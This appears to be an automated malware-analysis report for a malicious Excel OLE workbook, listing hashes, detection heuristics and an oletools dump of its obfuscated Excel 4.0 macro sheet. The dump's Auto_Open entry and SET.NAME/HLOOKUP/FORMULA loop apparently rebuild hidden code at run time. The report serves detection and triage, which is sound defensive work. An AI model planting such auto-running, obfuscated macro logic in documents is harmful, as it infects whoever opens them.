Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9084aca9c6c96722…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:15 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 65b433392c856bcf8457f4f25a3c9228 SHA-1: 94941ac6d7d0dda8404d2f2c44e2e99269cfb1c1 SHA-256: 9084aca9c6c96722be49e439d8082661714c9ab504304bdfe5d8096ce9e3eb6c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6456 bytes
SHA-256: 3dd4e561a67b94a1e85dc02eb1ece731dc7b23e37e995e0d3fbef5a05317890b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SAfB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G151 
' 0018     20 LABEL : Cell Value, String Constant - bqevB len=0 
' 0018     25 LABEL : Cell Value, String Constant - ddfLPWUNJP len=0 
' 0018     25 LABEL : Cell Value, String Constant - dkBjSGlqDy len=0 
' 0018     27 LABEL : Cell Value, String Constant - duTdwsTsMEcJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - gXAwEHYL len=0 
' 0018     27 LABEL : Cell Value, String Constant - JsExghpPpLVi len=0 
' 0018     21 LABEL : Cell Value, String Constant - LvGwOc len=0 
' 0018     25 LABEL : Cell Value, String Constant - mGVKwteakC len=0 
' 0018     23 LABEL : Cell Value, String Constant - nmfJNQdd len=0 
' 0018     21 LABEL : Cell Value, String Constant - NoQZDL len=0 
' 0018     23 LABEL : Cell Value, String Constant - PtTRRZYt len=0 
' 0018     27 LABEL : Cell Value, String Constant - putfpHQRwFDo len=0 
' 0018     21 LABEL : Cell Value, String Constant - PxcDyP len=0 
' 0018     20 LABEL : Cell Value, String Constant - roiLO len=0 
' 0018     26 LABEL : Cell Value, String Constant - uJtRorGHKqj len=0 
' 0018     24 LABEL : Cell Value, String Constant - UQpsPYLTZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - vSvBk len=0 
' 0018     25 LABEL : Cell Value, String Constant - WlGiUaafjJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - yXCmodNDWFn len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZbWczB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SAfB,G61,"SET.NAME("nmfJNQdd",VALUE("0"))",""
'  SAfB,G63,"SET.NAME("vSvBk",nmfJNQdd)",""
'  SAfB,G68,"SET.NAME("LvGwOc",nmfJNQdd)",""
'  SAfB,G72,"SET.NAME("putfpHQRwFDo",COUNTA(mGVKwteakC))",""
'  SAfB,G75,"SET.NAME("WlGiUaafjJ",COUNTA(yXCmodNDWFn))",""
'  SAfB,G78,[],""
'  SAfB,G80,"SET.NAME("gXAwEHYL","")",""
'  SAfB,G83,"vSvBk",""
'  SAfB,G88,"SET.NAME("PxcDyP",HLOOKUP("*",mGVKwteakC,vSvBk,FALSE))",""
'  SAfB,G90,"uJtRorGHKqj",""
'  SAfB,G93,"SET.NAME("ddfLPWUNJP",nmfJNQdd)",""
'  SAfB,G96,[],""
'  SAfB,G101,"ddfLPWUNJP",""
'  SAfB,G106,"bqevB",""
'  SAfB,G109,"NoQZDL",""
'  SAfB,G113,"JsExghpPpLVi",""
'  SAfB,G115,"SET.NAME("dkBjSGlqDy",VALUE(HLOOKUP("*",yXCmodNDWFn,JsExghpPpLVi,FALSE)))",""
'  SAfB,G120,"UQpsPYLTZ",""
'  SAfB,G122,"gXAwEHYL",""
'  SAfB,G124,"LvGwOc",""
'  SAfB,G126,NEXT(),""
'  SAfB,G131,"ZbWczB",""
'  SAfB,G133,"SET.NAME("f",INT(T(FORMULA(T(gXAwEHYL)&"",""&T(ZbWczB)))))",""
'  SAfB,G138,"roiLO",""
'  SAfB,G142,NEXT(),""
'  SAfB,G147,RETURN(),""
'  SAfB,G174,"SET.NAME("PtTRRZYt",G61)",""
'  SAfB,G178,"mGVKwteakC",""
'  SAfB,G181,"SET.NAME("yXCmodNDWFn",R59C12)",""
'  SAfB,G183,"SET.NAME("roiLO",191)",""
'  SAfB,G187,"SET.NAME("duTdwsTsMEcJ",7)",""
'  SAfB,G190,PtTRRZYt(),""
'  SAfB,G191,HALT(),""

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